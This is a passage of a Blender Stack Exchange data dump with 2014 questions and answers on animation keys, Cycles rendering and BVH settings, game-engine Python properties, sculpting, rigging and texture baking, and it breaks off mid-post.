  <row Id="7506" PostTypeId="1" AcceptedAnswerId="7508" CreationDate="2014-03-03T23:51:27.770" Score="2" ViewCount="1205" Body="&lt;p&gt;Brand new to Blender, working through some tutorials and I'm currently doing some keyframe animation.  When I go to use the Arrow Keys to jump to frames, my left and right (-1/+1) keys are working correctly.  So is my down arrow key (-10).  However, anytime I try to jump ahead +10 frames with the up arrow key I get a message &quot;No more keyframes to jump to in this direction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening even when I'm on the first frame, does anyone know how I can get my +10 frame jump key to work or what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2668" LastActivityDate="2014-03-04T00:01:54.680" Title="Keyframe Help With Arrow Keys" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7508" PostTypeId="2" ParentId="7506" CreationDate="2014-03-04T00:01:54.680" Score="5" Body="&lt;p&gt;&lt;kbd&gt;▲&lt;/kbd&gt; jumps to next keyframe of the active object,&lt;br&gt;&#xA;&lt;kbd&gt;▼&lt;/kbd&gt; jumps to previous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't change frame by +/- 10. If you wanna do so, use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;▲&lt;/kbd&gt; +10 frames,&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;▼&lt;/kbd&gt; -10 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;◀&lt;/kbd&gt; to jump to start frame,&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;▶&lt;/kbd&gt; for end frame.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-04T00:01:54.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7509" PostTypeId="1" CreationDate="2014-03-04T01:04:17.160" Score="12" ViewCount="8355" Body="&lt;p&gt;I'm currently trying to create a photorealistic model of planet earth. Texturing and &quot;modeling&quot; is of course no problem. More interesting is the question how to obtain a realistic looking atmosphere.&#xA;In most tutorials it is done in the compositor by applying blurs to the render, but as a physicist I cannot be happy with those results as they obviously look fake in 99% of all cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one blend file in the internet, that implements ideas from GPU Gems that accurately recreates the atmosphere effect and looks realistic: &lt;a href=&quot;http://www.blendernation.com/2009/11/05/atmospheric-scattering-blender-game-engine/&quot;&gt;http://www.blendernation.com/2009/11/05/atmospheric-scattering-blender-game-engine/&lt;/a&gt;&#xA;However, it was written for the Game engine and therefore cannot be used for Cycles renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the introduction of volumetric rendering in 2.7 (which has a test build online) I would like to know if it is possible to create similar shaders to get a realistic atmosphere. I am aware of the fact that this will slow down the rendering time significantly by using volumetric rendering. Or does anyone else know a method to get realistic renders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="2670" LastActivityDate="2020-10-04T03:17:48.793" Title="Atmosphere (Rayleigh/Mie) Scattering in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7510" PostTypeId="1" AcceptedAnswerId="7522" CreationDate="2014-03-04T07:27:38.413" Score="11" ViewCount="11711" Body="&lt;p&gt;When I'm using rendered viewport it initially takes a while before rendering starts, but once it does, I can freely move around and rendering a new view happens almost instantaneously. When on the other hand I'm rendering a movie, for each frame Blender takes a significant amount of time before rendering even starts, usually doing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Synchronizing object,&#xA;Updating images,&#xA;Updating meshes,&#xA;Updating Scene BVH,&#xA;Packing BVH,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it do this? And is it possible to disable this to increase movie rendering speed?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2017-01-26T21:33:41.940" Title="Why is rendered viewport faster than rendering individual frames?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;performance&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7511" PostTypeId="1" AcceptedAnswerId="7514" CreationDate="2014-03-04T08:13:56.890" Score="13" ViewCount="11318" Body="&lt;p&gt;I would like to know how to change the values of properties added using the &quot;AddGameProperty&quot; option in the game logic UI using python code? I want to write code that changes the 'Property' value in an Action Actuator logic block. I attached a screenshot for a bit more clarity:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/riBUY.png&quot; alt=&quot;How do you change the game properties value to control the action actuator using python code??&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2217" LastEditDate="2014-10-23T15:33:37.833" LastActivityDate="2018-01-03T15:44:56.773" Title="Controlling BGE properties with python script" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7512" PostTypeId="2" ParentId="7511" CreationDate="2014-03-04T12:39:14.103" Score="3" Body="&lt;p&gt;Your question is a bit unclear, but you can use use &lt;code&gt;own['propName']&lt;/code&gt; to access a property&lt;/p&gt;&#xA;" OwnerUserId="2253" LastActivityDate="2014-03-04T12:39:14.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7513" PostTypeId="2" ParentId="7499" CreationDate="2014-03-04T13:50:44.560" Score="1" Body="&lt;p&gt;With &lt;code&gt;obj.keyframe_insert&lt;/code&gt; you are adding a keyframe for the object, not the element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set keyframes for elem2 you want to use &lt;code&gt;elem2.keyframe_insert&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elem2.co = Vector((2,0,0))&#xA;elem2.keyframe_insert(data_path=&quot;co&quot;, frame = 10)&#xA;&#xA;elem2.co = Vector((0,2,0))&#xA;elem2.keyframe_insert(data_path=&quot;co&quot;, frame = 100)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-04T13:50:44.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7514" PostTypeId="2" ParentId="7511" CreationDate="2014-03-04T14:24:15.130" Score="13" Body="&lt;p&gt;If you want to access a property from the current object controller it's :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;my_property=own['propName']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you want to access to a property from an other object it's&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = bge.logic.getCurrentScene()&#xA;my_property=scene.objects['other object']['otherpropName']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1151" LastEditDate="2014-03-04T14:32:45.413" LastActivityDate="2014-03-04T14:32:45.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7515" PostTypeId="1" AcceptedAnswerId="7521" CreationDate="2014-03-04T14:56:53.697" Score="5" ViewCount="5059" Body="&lt;p&gt;When rotating and zooming the view using the MMB the scene moves very fast. &#xA;How can I turn this down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start blender it works fine but then maybe I click wrong key.&#xA;What is causing this to happen?&lt;/p&gt;&#xA;" OwnerUserId="2677" LastEditorUserId="599" LastEditDate="2014-03-04T18:42:06.930" LastActivityDate="2014-03-04T18:42:06.930" Title="MMB rotating the scene too quickly?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7516" PostTypeId="1" AcceptedAnswerId="7518" CreationDate="2014-03-04T15:40:36.877" Score="3" ViewCount="964" Body="&lt;p&gt;I am trying to sculpt a human head with dynamic topology. It worked so far but now I am getting artifacts when I use the smooth brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dzJKB.png&quot; alt=&quot;http://prntscr.com/2xsz9i&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I use the smooth brush&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0szNA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But other brushes like the clay brush are still working without causing those weird artifacts.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zX2Tn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27283&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="1672" LastEditDate="2014-03-04T15:54:25.057" LastActivityDate="2014-03-04T16:07:09.627" Title="Artifacts while sculpting" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7517" PostTypeId="1" CreationDate="2014-03-04T15:59:34.533" Score="0" ViewCount="194" Body="&lt;p&gt;Mixing the emission with a texture or putting a decal on the emission is what I originally thought but I'd like a real look with dark spots and dirt.  Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1342" LastActivityDate="2014-03-04T16:18:55.577" Title="Dirty Neon, I'd like to add grime and age to a neon sign" Tags="&lt;texturing&gt;&lt;bezier-curves&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-04T20:46:29.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="7518" PostTypeId="2" ParentId="7516" CreationDate="2014-03-04T16:07:09.627" Score="4" Body="&lt;p&gt;Make sure that under Symmetry \ Lock you turn Lock off. You had lock set to x axis. So the smooth brush was still working but the vertices did not move in the x axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A2W5z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-04T16:07:09.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7519" PostTypeId="2" ParentId="7372" CreationDate="2014-03-04T16:14:08.967" Score="18" Body="&lt;p&gt;There are generally two ways here: &lt;strong&gt;bone constraints&lt;/strong&gt; and &lt;strong&gt;rigidbody simulation&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solution 1 - Bone Constraints:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the linkages (meshes).&lt;/li&gt;&#xA;&lt;li&gt;Create armature with bones set as shown on the image below.&lt;/li&gt;&#xA;&lt;li&gt;Animate the key bone (the red one here).&lt;/li&gt;&#xA;&lt;li&gt;Rigging.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/600tg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/600tg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xFz0D.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFz0D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yfZvz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yfZvz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mOsNC.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mOsNC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example file: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1427/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1427&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solution 2 - Rigidbody Simulation:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Build the initial state of the linkage, make sure they don't intersect or too close to each other;&lt;/li&gt;&#xA;&lt;li&gt;Select them all, click &lt;strong&gt;Add Active&lt;/strong&gt; button in Physics tab in Toolshelf;&lt;/li&gt;&#xA;&lt;li&gt;Select either two linkages, click &lt;strong&gt;Connect&lt;/strong&gt; in that tab to create constraints, set type to &lt;strong&gt;Hinge&lt;/strong&gt;, move them to expected hinge points. Note that Hinge rotates along the Z axis of constraints (empty objects), so you may need to correct the rotation.&lt;/li&gt;&#xA;&lt;li&gt;Create rotation action for BoneEB (the blue bone in the image below), toggle &lt;strong&gt;Animated&lt;/strong&gt; in its Rigid Body setting panel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pzA5h.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Zf9zl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fcvxD.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Gca6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better result, you need to set the &lt;em&gt;Steps per Second&lt;/em&gt; and &lt;em&gt;Solver Iterations&lt;/em&gt; relatively high in &lt;strong&gt;Scene&lt;/strong&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBbi8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example file:&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1426/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1426&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2016-11-17T01:26:31.047" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7520" PostTypeId="2" ParentId="7517" CreationDate="2014-03-04T16:18:55.577" Score="1" Body="&lt;p&gt;You're on the right track. Using a texture to mix emission with diffuse would do something like that. A decal (image texture) would offer you more control, but you'd have to create it yourself (I only say &quot;but&quot; because I've never been very good at painting textures, and find it very intimidating, though others don't feel that way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another slightly different option is to use a texture to modify the emission color, or the emission strength of the emission shader itself (rather than mixing in a diffuse). I've tried this before with mixed results. The main problem I ran into was that the texture had to be very high contrast in order to make the change visible when the emission was as bright as it needed to be: as I set the emission brighter, the texture would just get washed out and became unnoticeable. When the contrast was high enough, I just got splotches of black instead of subtle, detailed cloudy texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that you would have much better results if you were able to use a true HDRI image as the texture input for the strength value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, if you don't know already, it's very important for anyone using textures to understand the difference between the HDRI &lt;em&gt;look&lt;/em&gt; and the HDRI &lt;em&gt;format&lt;/em&gt;. The HDRI &lt;em&gt;look&lt;/em&gt; looks neat, but the HDRI &lt;em&gt;format&lt;/em&gt; actually contains orders of magnitude more data than conventional image formats. &lt;a href=&quot;http://en.wikipedia.org/wiki/High-dynamic-range_imaging&quot; rel=&quot;nofollow&quot;&gt;More info here&lt;/a&gt;. Yeah, this is kind of a pet campaign of mine ;-)&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-04T16:18:55.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7521" PostTypeId="2" ParentId="7515" CreationDate="2014-03-04T16:32:43.660" Score="6" Body="&lt;p&gt;The zooming and rotation work a little oddly in Blender. Blender has to choose some point around which to rotate and toward which to zoom. If you're very far from this invisible point, zooming is exaggerated and fast. If you're very close to this invisible point, then rotation is very sensitive, but zooming gets slower. In fact, if you continue to zoom in, you'll eventually reach this invisible point and be unable to zoom any further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is that it's hard to tell how Blender chooses this point, and when it gets updated, except that it tries to use whatever you've centered your view on. SO, select what you want to work on (an object, a collection of verts, whatever) and press &lt;kbd&gt;Num&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;. This will zoom to and center your view on whatever you have selected. This also tells Blender to reset the point that it's chosen for your view center and zoom location. This should make Blender's rotation and zooming a bit more sensible, until you need to work somewhere else, in which case you'll have to do it again ;-) Anytime your zooming and rotation seem to be acting weird, just select what you're working on and use &lt;kbd&gt;Num&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt; to recenter your view on that, and it should return to normal. It seems like this might be bothersome, but I've found that I use &lt;kbd&gt;Num&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt; so often anyway, just to see what I'm working on that it ends up being pretty convenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BONUS: For these reasons, and others, I usually turn on &quot;Rotate Around Selection,&quot; too.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-04T16:32:43.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7522" PostTypeId="2" ParentId="7510" CreationDate="2014-03-04T17:01:58.257" Score="11" Body="&lt;p&gt;It is possible to make the final render almost as fast as the viewport render, but you might not want to. The viewport render sacrifices a lot of features in order to make it update quickly. Firstly, it uses &lt;strong&gt;Direct Illumination&lt;/strong&gt; only, which means that it basically only ever calculates 2 bounces. It also has a lot to do with whatever &lt;strong&gt;modifiers&lt;/strong&gt; you're using. If you have a subsurf modifier that is set to 1 subdivisions for view and 4 subdivisions for render, then your final render has to deal with x^4 more polygons than the viewport does, which is obviously going to take longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a little overhead in writing the frame to a file and then loading the next frame to start rendering, which the viewport doesn't have to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, the BVH &lt;strong&gt;acceleration structure&lt;/strong&gt; (selected in the render settings) can make a critical difference in render speeds. IIRC, the viewport ONLY uses Dynamic BVH which spends a lot less time calculating the BVH (because things might move around), but each sample takes longer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details:&#xA;There are two parts to the render: setup and sampling. The right setup can make sampling faster, but if you have to do some complicated setup for every frame, that might actually take longer than the time you save on sampling. The part of the setup that matters is the Acceleration Structure, called a Bounding Volume Hierarchy (BVH). This is basically a way of organizing things so that they're easy to find. You can either have a Static BVH or a Dynamic BVH. A Static BVH takes longer to build, but makes sampling more efficient. The Dynamic BVH doesn't take as long to build, but it doesn't make sampling quite as efficient as Static. The other important difference is that with a Static BVH, nothing can move*. If anything moves, it has to be totally rebuilt. Whereas with a Dynamic BVH, if something moves from one frame to the next, the BVH can be updated much more quickly than with a Static BVH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IIRC, there are also some &lt;strong&gt;features that aren't rendered&lt;/strong&gt; at all for the viewport. &lt;strike&gt;I want to say that SSS, AO, and caustics aren't (or weren't) calculated at all for the viewport render.&lt;/strike&gt; But I'm not sure what they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*To be honest, I'm not quite sure what &quot;nothing can move&quot; means, I just get this from the tooltip. You'd do well to do some research or experimentation. It's possible that a Static BVH can be reused even if objects translate, so long as the mesh doesn't deform. It's also possible that any change of any object from one frame to the next requires a complete Static BVH rebuild. I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-03-04T19:45:46.823" LastActivityDate="2014-03-04T19:45:46.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7523" PostTypeId="1" CreationDate="2014-03-04T18:44:22.130" Score="1" ViewCount="115" Body="&lt;p&gt;I'm working on a cylinder with 8 sections and when I have worked on other shapes before my materials have rendered fine, but with the cylinder as I click render my materials have disappeared or one has been pasted over each section shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might just be a simple solution I'm missing, but I need help fast! much appreciated if anyone can thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;examples of what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing Stage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tDzbW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered Image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LuuV7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2014-04-04T16:57:34.630" Title="materials on cylinder have changed from workspace to render" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;materials&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2014-04-04T17:07:18.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="7524" PostTypeId="2" ParentId="7510" CreationDate="2014-03-04T19:18:48.823" Score="8" Body="&lt;h1&gt;BVH&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As mentioned previously in &lt;a href=&quot;https://blender.stackexchange.com/a/7522/599&quot;&gt;Matt's answer&lt;/a&gt;, BVH revers to &lt;a href=&quot;http://en.wikipedia.org/wiki/Bounding_volume_hierarchy&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Bounding Volume Hierarchy&lt;/em&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings related to BVH building are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Static/Dynamic BVH:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Static BVH&lt;/em&gt; needs to be rebuilt after &lt;strong&gt;any&lt;/strong&gt; object modification, however it provides faster render times&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Dynamic BVH&lt;/em&gt; allows objects to be rebuilt individually, so that BVH rebuilding times will be much lower at the cost of longer render time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The final render &lt;strong&gt;&lt;em&gt;always&lt;/em&gt;&lt;/strong&gt; uses &lt;em&gt;Static BVH&lt;/em&gt;, while the viewport render uses the settings in &lt;em&gt;Properties &gt; Render &gt; Performance &gt; Viewport&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cache BVH:&lt;/strong&gt; When enabled, Blender saves the BVH to the hard drive and re-uses it if no geometry had been modified. According to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Cycles#BVH_Caching&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt; this will slow down the render if geometry &lt;em&gt;is&lt;/em&gt; modified.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use Spatial Splits:&lt;/strong&gt; According to the tooltip, enabling this makes building slower and rendering faster. However, according to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/BVH&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt; BVH building without spatial splits is optimized (multithreaded) and building with spatial splits is not (yet), so leaving this disabled might be faster overall for now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-03-04T19:18:48.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7526" PostTypeId="1" AcceptedAnswerId="7545" CreationDate="2014-03-05T00:32:41.890" Score="4" ViewCount="2202" Body="&lt;p&gt;I want to use python to move the UVs of the selected objects. I am having trouble with moving the UVs. When I run my script I moves the objects instead, not the UVs. All object have exactly 1 UV map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for mesh in selection:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;for UVs in mesh&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;select all UVs&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;move UVs&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;for count, ob in enumerate(bpy.context.selected_objects):&#xA;    if ob.type == 'MESH':&#xA;        scene.objects.active = ob&#xA;        bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;        bpy.ops.mesh.reveal()&#xA;        bpy.ops.mesh.select_all(action='SELECT')&#xA;&#xA;        # execute any editmode tool&#xA;        move_x = count % 10&#xA;        move_y = count // 10&#xA;        bpy.ops.transform.translate(value=(move_x, move_y, 0), constraint_axis=(True, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=0.263331)&#xA;&#xA;&#xA;        bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-05T12:15:07.940" LastActivityDate="2014-03-05T20:33:49.797" Title="Python - move UV for selected items" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7527" PostTypeId="1" AcceptedAnswerId="7529" CreationDate="2014-03-05T00:43:55.310" Score="3" ViewCount="1673" Body="&lt;p&gt;I've made a fluid simulation and it's working exactly how I want. I would like to save the simulation as a shape key-based animation, mostly so I can do another fluid simulation that interacts with the result of the first. I have the fluid cache backed up, so I can keep it separate from the second sim.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2014-03-05T01:51:53.183" Title="Baking fluid sim to shape keys" Tags="&lt;fluid-simulation&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7528" PostTypeId="1" AcceptedAnswerId="7535" CreationDate="2014-03-05T01:36:35.193" Score="1" ViewCount="731" Body="&lt;p&gt;I have been working on using Cycles to bake textures for a game environment.  This works well for base lighting which can be rendered at low resolutions, then scaled-up and blurred but for high resolution/high frequency textures Cycles takes way to long to render.  Basically this takes about an hour per texture at 1024x1024 since I have to render at higher samples since the final texture cannot be blurred.  However this only takes a few minutes for the base diffuse texture rendered at 512x512 then blurred and scaled up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deal with this, I would like to just bake the diffuse shader result to a texture and then scale it up to match the high-res base texture and combine them both using the compositor but I really have no idea where to begin.  What nodes would I use and with what settings?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some textures to help illustrate this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) a basic colored procedural texture baked with no lighting(Blender Internal), the original is 2048x2048.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) a texture baked with Cycles_OSL diffuse lighting only.(512x512)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii) a texture baked with both of the above(this is what I'm hoping to avoid)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iv) The final scene with textures applied and no lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mLSQ9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3cpuZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xPyTS.png&quot; alt=&quot;enter image description 